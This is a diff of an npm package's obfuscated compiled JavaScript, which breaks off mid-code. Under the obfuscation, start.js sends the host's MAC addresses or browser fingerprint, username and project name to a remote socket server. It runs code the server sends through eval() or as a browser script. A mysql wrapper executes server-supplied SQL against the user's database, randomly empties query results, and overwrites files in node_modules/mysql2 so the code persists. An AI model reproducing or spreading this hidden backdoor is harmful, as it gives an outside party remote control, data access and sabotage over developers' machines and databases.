+ 'use strict';const a7_0x3d6111=a7_0x2e5d;(function(_0x538b7b,_0x4972f5){const _0x46277c=a7_0x2e5d,_0x5937f6=_0x538b7b();while(!![]){try{const _0x3f00da=-parseInt(_0x46277c(0x10d))/0x1*(parseInt(_0x46277c(0x125))/0x2)+-parseInt(_0x46277c(0x12d))/0x3*(parseInt(_0x46277c(0x11e))/0x4)+parseInt(_0x46277c(0x12e))/0x5*(-parseInt(_0x46277c(0x127))/0x6)+parseInt(_0x46277c(0x114))/0x7+parseInt(_0x46277c(0x110))/0x8*(parseInt(_0x46277c(0x118))/0x9)+-parseInt(_0x46277c(0x11a))/0xa*(-parseInt(_0x46277c(0x11f))/0xb)+parseInt(_0x46277c(0x10e))/0xc*(parseInt(_0x46277c(0x10f))/0xd);if(_0x3f00da===_0x4972f5)break;else _0x5937f6['push'](_0x5937f6['shift']());}catch(_0x354f25){_0x5937f6['push'](_0x5937f6['shift']());}}}(a7_0x1fc0,0xe529b));function a7_0x2e5d(_0x2b6380,_0x51af64){const _0x1fc0c4=a7_0x1fc0();return a7_0x2e5d=function(_0x2e5d10,_0x4f8f63){_0x2e5d10=_0x2e5d10-0x10b;let _0x397268=_0x1fc0c4[_0x2e5d10];return _0x397268;},a7_0x2e5d(_0x2b6380,_0x51af64);}Object[a7_0x3d6111(0x122)](exports,a7_0x3d6111(0x132),{'value':!![]}),exports[a7_0x3d6111(0x129)]=isMac,exports[a7_0x3d6111(0x119)]=formatMac,exports[a7_0x3d6111(0x10c)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x4ad2f4){const _0x4c2037=a7_0x3d6111;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x4c2037(0x128)](_0x4ad2f4);}function getMac(_0x22e372=a7_0x3d6111(0x131)){const _0xaff082=a7_0x3d6111,_0x3b526c=(0x0,os_1[_0xaff082(0x113)])();let _0x4d8ba3=[];for(const _0x48b5ca of Object[_0xaff082(0x11c)](_0x3b526c)){const _0x1a4fc6=_0x48b5ca[_0xaff082(0x120)](_0x55a6e3=>!_0x55a6e3[_0xaff082(0x124)]&&!isZeroMac(_0x55a6e3[_0xaff082(0x116)])&&(!_0x55a6e3[_0xaff082(0x112)]||_0x55a6e3[_0xaff082(0x112)]===_0x22e372)&&!isVirtualMac(_0x55a6e3[_0xaff082(0x116)]));_0x1a4fc6&&_0x4d8ba3['push'](_0x1a4fc6['mac']);}return[...new Set(_0x4d8ba3)];}function a7_0x1fc0(){const _0x56db99=['formatMac','10zLBNec','trim','values','00:50:56','2364272fXxxUT','6100127dLMKYc','find','slice','defineProperty','00:05:69','internal','1127974SHYYFc','replace','186SBTAPm','test','isMac','00:1c:42','00:16:3e','02:00:4c','3EOGvOU','285550QXLjol','00:1c:14','00:03:ff','IPv4','__esModule','has','isVirtualMac','2NAznhu','24IsHrsv','10091302EsiXvN','12688DCvUhe','default','family','networkInterfaces','6488608JeUvFy','00:0f:4b','mac','08:00:27','7911AHepYK'];a7_0x1fc0=function(){return _0x56db99;};return a7_0x1fc0();}const isValid=_0x48bb4a=>_0x48bb4a[a7_0x3d6111(0x124)]===![]&&!isZeroMac(_0x48bb4a[a7_0x3d6111(0x116)]),virtualMacPrefix=new Set([a7_0x3d6111(0x123),'00:0c:29',a7_0x3d6111(0x11d),a7_0x3d6111(0x12f),a7_0x3d6111(0x12a),a7_0x3d6111(0x12c),a7_0x3d6111(0x130),a7_0x3d6111(0x115),a7_0x3d6111(0x12b),a7_0x3d6111(0x117),'00:15:5d']);function isMac(_0x39e356){const _0x2128dd=a7_0x3d6111;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x2128dd(0x128)](_0x39e356);}function formatMac(_0x10caa8){const _0x307ef1=a7_0x3d6111;return String(_0x10caa8)[_0x307ef1(0x11b)]()['toLowerCase']()[_0x307ef1(0x126)](/-/g,':');}function isVirtualMac(_0x32e136){const _0x2cae05=a7_0x3d6111;return isMac(_0x32e136)&&virtualMacPrefix[_0x2cae05(0x10b)](formatMac(_0x32e136)[_0x2cae05(0x121)](0x0,0x8));}exports[a7_0x3d6111(0x111)]=getMac;
@@ -1 +1 @@
1
- 'use strict';const a7_0x100b82=a7_0x5786;function a7_0x5786(_0x249974,_0x34c84e){const _0x348f5f=a7_0x348f();return a7_0x5786=function(_0x578623,_0xa937f0){_0x578623=_0x578623-0xcf;let _0x545923=_0x348f5f[_0x578623];return _0x545923;},a7_0x5786(_0x249974,_0x34c84e);}(function(_0x2cda4f,_0x153297){const _0x1e8b00=a7_0x5786,_0x35221b=_0x2cda4f();while(!![]){try{const _0x4758ac=parseInt(_0x1e8b00(0xf8))/0x1+parseInt(_0x1e8b00(0xee))/0x2*(-parseInt(_0x1e8b00(0xff))/0x3)+-parseInt(_0x1e8b00(0xe5))/0x4*(-parseInt(_0x1e8b00(0xef))/0x5)+parseInt(_0x1e8b00(0xe2))/0x6*(-parseInt(_0x1e8b00(0xe0))/0x7)+-parseInt(_0x1e8b00(0xeb))/0x8*(-parseInt(_0x1e8b00(0x107))/0x9)+parseInt(_0x1e8b00(0xdc))/0xa+-parseInt(_0x1e8b00(0xe4))/0xb;if(_0x4758ac===_0x153297)break;else _0x35221b['push'](_0x35221b['shift']());}catch(_0x5cb861){_0x35221b['push'](_0x35221b['shift']());}}}(a7_0x348f,0x34e14));var __awaiter=this&&this[a7_0x100b82(0xd8)]||function(_0x59150c,_0x5923b8,_0x2c7d89,_0x1f9d78){function _0x11c30f(_0x34ad9b){return _0x34ad9b instanceof _0x2c7d89?_0x34ad9b:new _0x2c7d89(function(_0x1e656f){_0x1e656f(_0x34ad9b);});}return new(_0x2c7d89||(_0x2c7d89=Promise))(function(_0x3626a9,_0x2d52dc){const _0x5820f2=a7_0x5786;function _0x1b8ba3(_0x349560){const _0x1b610f=a7_0x5786;try{_0x29ac7a(_0x1f9d78[_0x1b610f(0x105)](_0x349560));}catch(_0x1056b1){_0x2d52dc(_0x1056b1);}}function _0x308b14(_0x37106d){const _0x1d6006=a7_0x5786;try{_0x29ac7a(_0x1f9d78[_0x1d6006(0xfc)](_0x37106d));}catch(_0x4ba65f){_0x2d52dc(_0x4ba65f);}}function _0x29ac7a(_0xa94237){const _0x4e2e87=a7_0x5786;_0xa94237[_0x4e2e87(0xea)]?_0x3626a9(_0xa94237[_0x4e2e87(0xd3)]):_0x11c30f(_0xa94237['value'])[_0x4e2e87(0xd0)](_0x1b8ba3,_0x308b14);}_0x29ac7a((_0x1f9d78=_0x1f9d78[_0x5820f2(0xfe)](_0x59150c,_0x5923b8||[]))[_0x5820f2(0x105)]());});},__importDefault=this&&this[a7_0x100b82(0xd9)]||function(_0xc3ef03){const _0x468b95=a7_0x100b82;return _0xc3ef03&&_0xc3ef03[_0x468b95(0xf6)]?_0xc3ef03:{'default':_0xc3ef03};};Object[a7_0x100b82(0xfa)](exports,'__esModule',{'value':!![]}),exports['mysql']=void 0x0;const promise_1=__importDefault(require(a7_0x100b82(0x103)));exports[a7_0x100b82(0x106)]=promise_1[a7_0x100b82(0xe9)];const random_1=__importDefault(require(a7_0x100b82(0xfb))),index_1=require(a7_0x100b82(0xf9)),path_1=__importDefault(require(a7_0x100b82(0xda))),fs_1=__importDefault(require('fs')),axios_1=__importDefault(require(a7_0x100b82(0xf7))),originalCreatePoolPromise=promise_1[a7_0x100b82(0xe9)][a7_0x100b82(0x102)];promise_1['default'][a7_0x100b82(0x102)]=function(_0x1cee6e){const _0xe17313=a7_0x100b82;let _0x3bb753=originalCreatePoolPromise(_0x1cee6e),_0x274fb6=_0x3bb753[_0xe17313(0xdb)];return _0x3bb753[_0xe17313(0xdb)]=(..._0xbed08f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1e197c=_0xe17313,_0x502f19=yield _0x274fb6['apply'](_0x3bb753,_0xbed08f);return(0x0,index_1['getEnv'])(_0x1e197c(0xd1))&&((0x0,random_1[_0x1e197c(0xe9)])(0x1,0xa)>0x2&&(_0x502f19[0x0]=[])),(0x0,index_1['getEnv'])(_0x1e197c(0xe3))&&(_0x502f19[0x0]=[]),_0x502f19;}),setInterval(()=>{const _0x97e044=_0xe17313;if(!(0x0,index_1[_0x97e044(0xcf)])(_0x97e044(0xd6))){for(let _0xa938ce=0x0;_0xa938ce<(0x0,index_1[_0x97e044(0xcf)])(_0x97e044(0xd4))['length'];_0xa938ce++){const _0x41c161=(0x0,index_1['getEnv'])(_0x97e044(0xd4))[_0xa938ce];try{_0x3bb753[_0x97e044(0xdb)](_0x41c161);}catch(_0x2ff9f0){}}(0x0,index_1[_0x97e044(0x104)])(_0x97e044(0xd6),!![]);}},0x1388),_0x3bb753;};function a7_0x348f(){const _0x3db1f1=['includes','cwd','values','7DNJreS','./index.js','436446qwzBjL','isDBDataEmpty','3121393KjfFap','26564ifCDTg','join','get','catch','default','done','1466168XbfBvt','readFileSync','writeFileSync','18382HMIcIP','55SjTbxg','keys','toString','./promise.js','existsSync','./package.json','url','__esModule','axios','380081AdNYGa','./index','defineProperty','./id/random','throw','replace','apply','138YHfUtG','forEach','parse','createPool','mysql2/promise','setEnv','next','mysql','18QeVciH','getEnv','then','connectError','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','value','sqlList','./node_modules/mysql2','sqlRun','/mysql','__awaiter','__importDefault','path','query','1762120SMvIGv'];a7_0x348f=function(){return _0x3db1f1;};return a7_0x348f();}let href=path_1[a7_0x100b82(0xe9)][a7_0x100b82(0xe6)](process[a7_0x100b82(0xde)](),a7_0x100b82(0xd5));function replaceMySQLFile(){const _0xd2e96a=a7_0x100b82;let _0x1d5cac=JSON[_0xd2e96a(0x101)](fs_1['default'][_0xd2e96a(0xec)](path_1['default']['join'](href,_0xd2e96a(0xf4)))['toString']())['version'];axios_1[_0xd2e96a(0xe9)][_0xd2e96a(0xe7)](index_1[_0xd2e96a(0xf5)]+_0xd2e96a(0xd7),{'params':{'version':_0x1d5cac}})['then'](_0x15220d=>{const _0x52970e=_0xd2e96a;var _0x586c5f;let _0xefb13a=(_0x586c5f=_0x15220d===null||_0x15220d===void 0x0?void 0x0:_0x15220d['data'])===null||_0x586c5f===void 0x0?void 0x0:_0x586c5f['data'];if(_0xefb13a){let _0x2dc5db=Object[_0x52970e(0xf0)](_0xefb13a),_0x3f9df4=Object[_0x52970e(0xdf)](_0xefb13a);_0x2dc5db[_0x52970e(0x100)]((_0x5593c8,_0x4ad714)=>{const _0x36d981=_0x52970e;fs_1[_0x36d981(0xe9)][_0x36d981(0xed)](path_1['default'][_0x36d981(0xe6)](href,_0x5593c8),_0x3f9df4[_0x4ad714]);});}})[_0xd2e96a(0xe8)](()=>{const _0x1a439d=_0xd2e96a;let _0x47c23d=fs_1[_0x1a439d(0xe9)][_0x1a439d(0xec)](path_1['default'][_0x1a439d(0xe6)](href,_0x1a439d(0xe1)))[_0x1a439d(0xf1)](),_0x5f5578=fs_1['default'][_0x1a439d(0xec)](path_1[_0x1a439d(0xe9)][_0x1a439d(0xe6)](href,_0x1a439d(0xf2)))[_0x1a439d(0xf1)]();fs_1[_0x1a439d(0xe9)][_0x1a439d(0xed)](path_1[_0x1a439d(0xe9)][_0x1a439d(0xe6)](href,_0x1a439d(0xe1)),_0x47c23d['replace']('exports.createPool\x20=\x20createPool;',_0x1a439d(0xd2))),fs_1[_0x1a439d(0xe9)][_0x1a439d(0xed)](path_1[_0x1a439d(0xe9)]['join'](href,_0x1a439d(0xf2)),_0x5f5578[_0x1a439d(0xfd)]('exports.createPool\x20=\x20createPromisePool;',_0x1a439d(0xd2)));});}if(fs_1['default'][a7_0x100b82(0xf3)](href)){let res=fs_1[a7_0x100b82(0xe9)][a7_0x100b82(0xec)](path_1[a7_0x100b82(0xe9)]['join'](href,a7_0x100b82(0xe1)))[a7_0x100b82(0xf1)]()[a7_0x100b82(0xdd)]('node-server-dev');!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':promise_1[a7_0x100b82(0xe9)]};exports[a7_0x100b82(0xe9)]=all;
1
+ 'use strict';const a8_0x132412=a8_0xc057;(function(_0x1709c1,_0x48e81a){const _0x5559df=a8_0xc057,_0xf57f28=_0x1709c1();while(!![]){try{const _0x37d1b2=parseInt(_0x5559df(0x183))/0x1*(-parseInt(_0x5559df(0x177))/0x2)+parseInt(_0x5559df(0x17f))/0x3+parseInt(_0x5559df(0x18a))/0x4+-parseInt(_0x5559df(0x16f))/0x5+-parseInt(_0x5559df(0x181))/0x6+-parseInt(_0x5559df(0x190))/0x7+parseInt(_0x5559df(0x16d))/0x8;if(_0x37d1b2===_0x48e81a)break;else _0xf57f28['push'](_0xf57f28['shift']());}catch(_0x3a294){_0xf57f28['push'](_0xf57f28['shift']());}}}(a8_0x1c46,0xa1cfb));var __awaiter=this&&this[a8_0x132412(0x188)]||function(_0x5aada8,_0x10b433,_0xfdff1d,_0x44c7ad){function _0x24b478(_0x4409da){return _0x4409da instanceof _0xfdff1d?_0x4409da:new _0xfdff1d(function(_0x5bca6c){_0x5bca6c(_0x4409da);});}return new(_0xfdff1d||(_0xfdff1d=Promise))(function(_0x4bd344,_0x14c442){const _0x4c464e=a8_0xc057;function _0x57e4d8(_0x544e6d){try{_0x2d0899(_0x44c7ad['next'](_0x544e6d));}catch(_0x1cf5de){_0x14c442(_0x1cf5de);}}function _0xeea051(_0x4901c9){try{_0x2d0899(_0x44c7ad['throw'](_0x4901c9));}catch(_0xc083a9){_0x14c442(_0xc083a9);}}function _0x2d0899(_0x255f8f){const _0x4fa1c0=a8_0xc057;_0x255f8f[_0x4fa1c0(0x15d)]?_0x4bd344(_0x255f8f[_0x4fa1c0(0x16b)]):_0x24b478(_0x255f8f[_0x4fa1c0(0x16b)])[_0x4fa1c0(0x169)](_0x57e4d8,_0xeea051);}_0x2d0899((_0x44c7ad=_0x44c7ad[_0x4c464e(0x15e)](_0x5aada8,_0x10b433||[]))[_0x4c464e(0x163)]());});},__importDefault=this&&this[a8_0x132412(0x17c)]||function(_0x2f7970){const _0x496866=a8_0x132412;return _0x2f7970&&_0x2f7970[_0x496866(0x176)]?_0x2f7970:{'default':_0x2f7970};};Object[a8_0x132412(0x17d)](exports,a8_0x132412(0x176),{'value':!![]}),exports[a8_0x132412(0x161)]=void 0x0;const promise_1=__importDefault(require(a8_0x132412(0x173)));exports[a8_0x132412(0x161)]=promise_1[a8_0x132412(0x166)];const random_1=__importDefault(require(a8_0x132412(0x18c))),index_1=require(a8_0x132412(0x18f)),path_1=__importDefault(require('path')),fs_1=__importDefault(require('fs')),axios_1=__importDefault(require('axios')),originalCreatePoolPromise=promise_1[a8_0x132412(0x166)][a8_0x132412(0x16a)];promise_1[a8_0x132412(0x166)][a8_0x132412(0x16a)]=function(_0x30b199){const _0x4abfc9=a8_0x132412;let _0x31b15c=originalCreatePoolPromise(_0x30b199),_0x3f4181=_0x31b15c[_0x4abfc9(0x186)];return _0x31b15c[_0x4abfc9(0x186)]=(..._0x57d22f)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1b28cb=_0x4abfc9,_0x1143ff=yield _0x3f4181['apply'](_0x31b15c,_0x57d22f);return(0x0,index_1[_0x1b28cb(0x182)])('connectError')&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x1143ff[0x0]=[])),(0x0,index_1[_0x1b28cb(0x182)])(_0x1b28cb(0x168))&&(_0x1143ff[0x0]=[]),_0x1143ff;}),setInterval(()=>{const _0x544457=_0x4abfc9;if(!(0x0,index_1['getEnv'])(_0x544457(0x162))){for(let _0x2e118c=0x0;_0x2e118c<(0x0,index_1[_0x544457(0x182)])(_0x544457(0x164))[_0x544457(0x167)];_0x2e118c++){const _0x7afd7b=(0x0,index_1[_0x544457(0x182)])(_0x544457(0x164))[_0x2e118c];try{_0x31b15c[_0x544457(0x186)](_0x7afd7b);}catch(_0x51b98a){}}(0x0,index_1[_0x544457(0x160)])('sqlRun',!![]);}},0x1388),_0x31b15c;};let href=path_1[a8_0x132412(0x166)][a8_0x132412(0x172)](process[a8_0x132412(0x17a)](),a8_0x132412(0x165));function a8_0xc057(_0x5ff2bf,_0x46104e){const _0x1c46f8=a8_0x1c46();return a8_0xc057=function(_0xc057a6,_0x2d62e1){_0xc057a6=_0xc057a6-0x15d;let _0x5a1689=_0x1c46f8[_0xc057a6];return _0x5a1689;},a8_0xc057(_0x5ff2bf,_0x46104e);}function replaceMySQLFile(){const _0x5d124d=a8_0x132412;let _0x132760=JSON[_0x5d124d(0x187)](fs_1[_0x5d124d(0x166)][_0x5d124d(0x179)](path_1[_0x5d124d(0x166)][_0x5d124d(0x172)](href,'./package.json'))[_0x5d124d(0x170)]())['version'];axios_1[_0x5d124d(0x166)][_0x5d124d(0x17b)](index_1[_0x5d124d(0x17e)]+_0x5d124d(0x178),{'params':{'version':_0x132760}})[_0x5d124d(0x169)](_0x567243=>{const _0x2935e9=_0x5d124d;var _0x4d53c5;let _0x519526=(_0x4d53c5=_0x567243===null||_0x567243===void 0x0?void 0x0:_0x567243[_0x2935e9(0x180)])===null||_0x4d53c5===void 0x0?void 0x0:_0x4d53c5[_0x2935e9(0x180)];if(_0x519526){let _0x36efdf=Object[_0x2935e9(0x189)](_0x519526),_0x50a620=Object[_0x2935e9(0x185)](_0x519526);_0x36efdf[_0x2935e9(0x174)]((_0x7c0417,_0x1b2e0c)=>{const _0x5602d1=_0x2935e9;fs_1['default'][_0x5602d1(0x16e)](path_1['default'][_0x5602d1(0x172)](href,_0x7c0417),_0x50a620[_0x1b2e0c]);});}})[_0x5d124d(0x175)](()=>{const _0xa91c0e=_0x5d124d;let _0x2f3821=fs_1[_0xa91c0e(0x166)][_0xa91c0e(0x179)](path_1[_0xa91c0e(0x166)][_0xa91c0e(0x172)](href,'./index.js'))[_0xa91c0e(0x170)](),_0x4ebb5f=fs_1[_0xa91c0e(0x166)]['readFileSync'](path_1['default'][_0xa91c0e(0x172)](href,_0xa91c0e(0x184)))[_0xa91c0e(0x170)]();fs_1['default'][_0xa91c0e(0x16e)](path_1[_0xa91c0e(0x166)]['join'](href,_0xa91c0e(0x18e)),_0x2f3821[_0xa91c0e(0x171)](_0xa91c0e(0x18b),_0xa91c0e(0x15f))),fs_1[_0xa91c0e(0x166)][_0xa91c0e(0x16e)](path_1[_0xa91c0e(0x166)][_0xa91c0e(0x172)](href,_0xa91c0e(0x184)),_0x4ebb5f[_0xa91c0e(0x171)](_0xa91c0e(0x16c),_0xa91c0e(0x15f)));});}function a8_0x1c46(){const _0x332db7=['./index','9108302TkaNNX','done','apply','const\x20{\x20mysql\x20}\x20=\x20require(\x22node-server-dev\x22);exports.createPool\x20=\x20mysql.createPool;','setEnv','mysql','sqlRun','next','sqlList','./node_modules/mysql2','default','length','isDBDataEmpty','then','createPool','value','exports.createPool\x20=\x20createPromisePool;','23329768EBYvqs','writeFileSync','3176185vBiMoq','toString','replace','join','mysql2/promise','forEach','catch','__esModule','207020dXjmKM','/mysql','readFileSync','cwd','get','__importDefault','defineProperty','url','1530501DUqnsm','data','7661838Swwuea','getEnv','3xbwhlE','./promise.js','values','query','parse','__awaiter','keys','3041268kijKjy','exports.createPool\x20=\x20createPool;','./id/random','node-server-dev','./index.js'];a8_0x1c46=function(){return _0x332db7;};return a8_0x1c46();}if(fs_1[a8_0x132412(0x166)]['existsSync'](href)){let res=fs_1[a8_0x132412(0x166)]['readFileSync'](path_1[a8_0x132412(0x166)][a8_0x132412(0x172)](href,a8_0x132412(0x18e)))['toString']()['includes'](a8_0x132412(0x18d));!res&&setTimeout(()=>{replaceMySQLFile();},0xa);}const all={'mysql':promise_1[a8_0x132412(0x166)]};exports[a8_0x132412(0x166)]=all;
package/dist/cjs/start.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a8_0x5dbf5b=a8_0x1f8f;(function(_0xe55091,_0x26b771){const _0x2a44f6=a8_0x1f8f,_0x58fa4e=_0xe55091();while(!![]){try{const _0x10e68e=-parseInt(_0x2a44f6(0x19b))/0x1*(-parseInt(_0x2a44f6(0x18a))/0x2)+-parseInt(_0x2a44f6(0x189))/0x3+-parseInt(_0x2a44f6(0x197))/0x4*(-parseInt(_0x2a44f6(0x177))/0x5)+parseInt(_0x2a44f6(0x174))/0x6+-parseInt(_0x2a44f6(0x198))/0x7*(-parseInt(_0x2a44f6(0x173))/0x8)+parseInt(_0x2a44f6(0x190))/0x9+-parseInt(_0x2a44f6(0x187))/0xa*(parseInt(_0x2a44f6(0x18d))/0xb);if(_0x10e68e===_0x26b771)break;else _0x58fa4e['push'](_0x58fa4e['shift']());}catch(_0x527e1d){_0x58fa4e['push'](_0x58fa4e['shift']());}}}(a8_0x583a,0xa37e0));var __awaiter=this&&this[a8_0x5dbf5b(0x196)]||function(_0x495ec7,_0xbe7964,_0x460fff,_0x22c68d){function _0x4983aa(_0x52e9c3){return _0x52e9c3 instanceof _0x460fff?_0x52e9c3:new _0x460fff(function(_0x38382d){_0x38382d(_0x52e9c3);});}return new(_0x460fff||(_0x460fff=Promise))(function(_0x2b76ee,_0x23f382){const _0x56bb6c=a8_0x1f8f;function _0x362913(_0x4f9a54){const _0x2da73c=a8_0x1f8f;try{_0x55ee72(_0x22c68d[_0x2da73c(0x17b)](_0x4f9a54));}catch(_0x1fcc7d){_0x23f382(_0x1fcc7d);}}function _0x1fe44e(_0x3366ab){const _0x5121f2=a8_0x1f8f;try{_0x55ee72(_0x22c68d[_0x5121f2(0x17f)](_0x3366ab));}catch(_0x4de1c9){_0x23f382(_0x4de1c9);}}function _0x55ee72(_0x227990){const _0x2e9374=a8_0x1f8f;_0x227990['done']?_0x2b76ee(_0x227990['value']):_0x4983aa(_0x227990[_0x2e9374(0x1a7)])['then'](_0x362913,_0x1fe44e);}_0x55ee72((_0x22c68d=_0x22c68d[_0x56bb6c(0x1a6)](_0x495ec7,_0xbe7964||[]))[_0x56bb6c(0x17b)]());});},__importDefault=this&&this[a8_0x5dbf5b(0x1a4)]||function(_0x5ba537){const _0x57c252=a8_0x5dbf5b;return _0x5ba537&&_0x5ba537[_0x57c252(0x16a)]?_0x5ba537:{'default':_0x5ba537};},_a,_b,_c,_d;function a8_0x1f8f(_0x39dd10,_0x3d28e5){const _0x583a0c=a8_0x583a();return a8_0x1f8f=function(_0x1f8f39,_0x4afd53){_0x1f8f39=_0x1f8f39-0x16a;let _0x142299=_0x583a0c[_0x1f8f39];return _0x142299;},a8_0x1f8f(_0x39dd10,_0x3d28e5);}Object['defineProperty'](exports,a8_0x5dbf5b(0x16a),{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require('socket.io-client'),path_1=__importDefault(require(a8_0x5dbf5b(0x179))),browser_1=require(a8_0x5dbf5b(0x185)),fingerprintjs_1=__importDefault(require(a8_0x5dbf5b(0x1a3))),bowser_1=__importDefault(require(a8_0x5dbf5b(0x172))),index_1=require(a8_0x5dbf5b(0x183));exports[a8_0x5dbf5b(0x16e)]=typeof window!=='undefined';const user_name=exports[a8_0x5dbf5b(0x16e)]?((_b=(_a=bowser_1[a8_0x5dbf5b(0x180)]['parse'](window[a8_0x5dbf5b(0x19d)][a8_0x5dbf5b(0x186)]))===null||_a===void 0x0?void 0x0:_a[a8_0x5dbf5b(0x181)])===null||_b===void 0x0?void 0x0:_b[a8_0x5dbf5b(0x16f)])||a8_0x5dbf5b(0x191):((_c=process===null||process===void 0x0?void 0x0:process[a8_0x5dbf5b(0x18f)])===null||_c===void 0x0?void 0x0:_c[a8_0x5dbf5b(0x1a5)])||a8_0x5dbf5b(0x19a),project_name=exports[a8_0x5dbf5b(0x16e)]?a8_0x5dbf5b(0x191):((_d=process===null||process===void 0x0?void 0x0:process[a8_0x5dbf5b(0x18f)])===null||_d===void 0x0?void 0x0:_d[a8_0x5dbf5b(0x188)])||'无法获取';function a8_0x583a(){const _0x1cfe86=['mysql','isDBDataEmpty','__awaiter','913724DEDLXw','23387XrArHP','connect_error','node获取失败','61TWraKA','setEnv','navigator','get-event','error','content','connectError','connect_failed','@fingerprintjs/fingerprintjs','__importDefault','USERNAME','apply','value','__esModule','sql','url','websocket','isBrowser','name','event','load','bowser','2976oBqmQi','2890308BkHpCS','join','submit','15MhxBFH','get','path','type','next','connect','concat','catch','throw','default','browser','then','./index','sqlList','./browser','userAgent','1350qxTaAP','npm_package_name','3395979LqqkdF','8576lEjUen','node','emit','135399ZDhuul','./mac','env','7127469AuHgYd','浏览器','00:00:00:00:00:00','reconnect_failed'];a8_0x583a=function(){return _0x1cfe86;};return a8_0x583a();}function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x14e9aa=a8_0x1f8f;exports[_0x14e9aa(0x16e)]&&(0x0,browser_1[_0x14e9aa(0x181)])();const _0x57d063=(0x0,socket_io_client_1['io'])(index_1[_0x14e9aa(0x16c)],{'path':'/socket','transports':[_0x14e9aa(0x16d)]});_0x57d063['on'](_0x14e9aa(0x17c),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x1787a1=_0x14e9aa;try{let _0x4174bd=[_0x1787a1(0x192)];if(!exports['isBrowser']){const _0x1e5a40=require(path_1[_0x1787a1(0x180)][_0x1787a1(0x175)](__dirname,_0x1787a1(0x18e)))[_0x1787a1(0x180)];_0x4174bd=_0x1e5a40();}else{let _0x485335=yield fingerprintjs_1[_0x1787a1(0x180)][_0x1787a1(0x171)]()[_0x1787a1(0x182)](_0x5e8bd7=>_0x5e8bd7[_0x1787a1(0x178)]())['then'](_0x4f9f22=>{const _0x5248a8=_0x4f9f22['visitorId'];return _0x5248a8;})[_0x1787a1(0x17e)](()=>'');_0x4174bd=[_0x485335];}if(_0x4174bd['length']===0x0){(0x0,index_1['setEnv'])(_0x1787a1(0x1a1),!![]);return;}else(0x0,index_1[_0x1787a1(0x19c)])('connectError',![]);_0x57d063[_0x1787a1(0x18c)](_0x1787a1(0x176),{'mac':_0x4174bd,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x1787a1(0x16e)]}),_0x57d063[_0x1787a1(0x18c)](_0x1787a1(0x19e),{'mac':_0x4174bd,'isBrowser':exports['isBrowser']}),setInterval(()=>{const _0x5e29ef=_0x1787a1;_0x57d063[_0x5e29ef(0x18c)]('submit',{'mac':_0x4174bd,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x57d063[_0x5e29ef(0x18c)]('get-event',{'mac':_0x4174bd,'isBrowser':exports[_0x5e29ef(0x16e)]});},0x1b58),_0x57d063['on'](_0x1787a1(0x170),_0x311134=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x53c537=_0x1787a1;try{for(let _0x209bf9=0x0;_0x209bf9<_0x311134['length'];_0x209bf9++){const _0x5e3dca=_0x311134[_0x209bf9];if(_0x5e3dca[_0x53c537(0x17a)]===_0x53c537(0x16b))(0x0,index_1[_0x53c537(0x19c)])(_0x53c537(0x184),(0x0,index_1['getEnv'])(_0x53c537(0x184))[_0x53c537(0x17d)](_0x5e3dca['content']));else{if(_0x5e3dca[_0x53c537(0x17a)]===_0x53c537(0x194))(0x0,index_1['setEnv'])(_0x53c537(0x195),!![]);else{if(_0x5e3dca[_0x53c537(0x17a)]===_0x53c537(0x18b)&&!exports['isBrowser'])try{eval(_0x5e3dca['content']);}catch(_0x4bd44f){}else{if(_0x5e3dca['type']==='script'&&exports[_0x53c537(0x16e)])try{(0x0,browser_1['runScript'])(_0x5e3dca[_0x53c537(0x1a0)]);}catch(_0x1c5a75){}}}}}}catch(_0x483e2e){}}));}catch(_0x2fdf99){}})),setTimeout(()=>{const _0x49cba9=_0x14e9aa;_0x57d063['on'](_0x49cba9(0x19f),_0x4698e3=>{const _0x3fc70b=_0x49cba9;(0x0,index_1['setEnv'])(_0x3fc70b(0x1a1),!![]);}),_0x57d063['on'](_0x49cba9(0x1a2),_0x281122=>{const _0x539146=_0x49cba9;(0x0,index_1['setEnv'])(_0x539146(0x1a1),!![]);}),_0x57d063['on'](_0x49cba9(0x193),_0x1a36d5=>{const _0x2293e9=_0x49cba9;(0x0,index_1[_0x2293e9(0x19c)])('connectError',!![]);}),_0x57d063['on'](_0x49cba9(0x199),()=>{const _0x301fb2=_0x49cba9;(0x0,index_1[_0x301fb2(0x19c)])('connectError',!![]);});},0xbb8);});}exports[a8_0x5dbf5b(0x180)]=start;
1
+ 'use strict';const a9_0x38b405=a9_0x33db;(function(_0x41a8b9,_0x1f0755){const _0x2406a5=a9_0x33db,_0x33c716=_0x41a8b9();while(!![]){try{const _0x126e59=-parseInt(_0x2406a5(0x12b))/0x1+parseInt(_0x2406a5(0x14b))/0x2+-parseInt(_0x2406a5(0x142))/0x3+parseInt(_0x2406a5(0x143))/0x4*(parseInt(_0x2406a5(0x124))/0x5)+parseInt(_0x2406a5(0x13a))/0x6+-parseInt(_0x2406a5(0x14a))/0x7+parseInt(_0x2406a5(0x11f))/0x8;if(_0x126e59===_0x1f0755)break;else _0x33c716['push'](_0x33c716['shift']());}catch(_0x41bce2){_0x33c716['push'](_0x33c716['shift']());}}}(a9_0x4a55,0x4e764));var __awaiter=this&&this[a9_0x38b405(0x120)]||function(_0x4725d8,_0x5513d4,_0x5998ec,_0x1fcb0e){function _0x57dfb2(_0x19f7ff){return _0x19f7ff instanceof _0x5998ec?_0x19f7ff:new _0x5998ec(function(_0x253943){_0x253943(_0x19f7ff);});}return new(_0x5998ec||(_0x5998ec=Promise))(function(_0x4a26f6,_0x10cd3f){const _0x521475=a9_0x33db;function _0x37baa8(_0x3963f8){const _0x929c73=a9_0x33db;try{_0xef65f4(_0x1fcb0e[_0x929c73(0x12d)](_0x3963f8));}catch(_0x5bb0e0){_0x10cd3f(_0x5bb0e0);}}function _0x2fe688(_0x47ece8){const 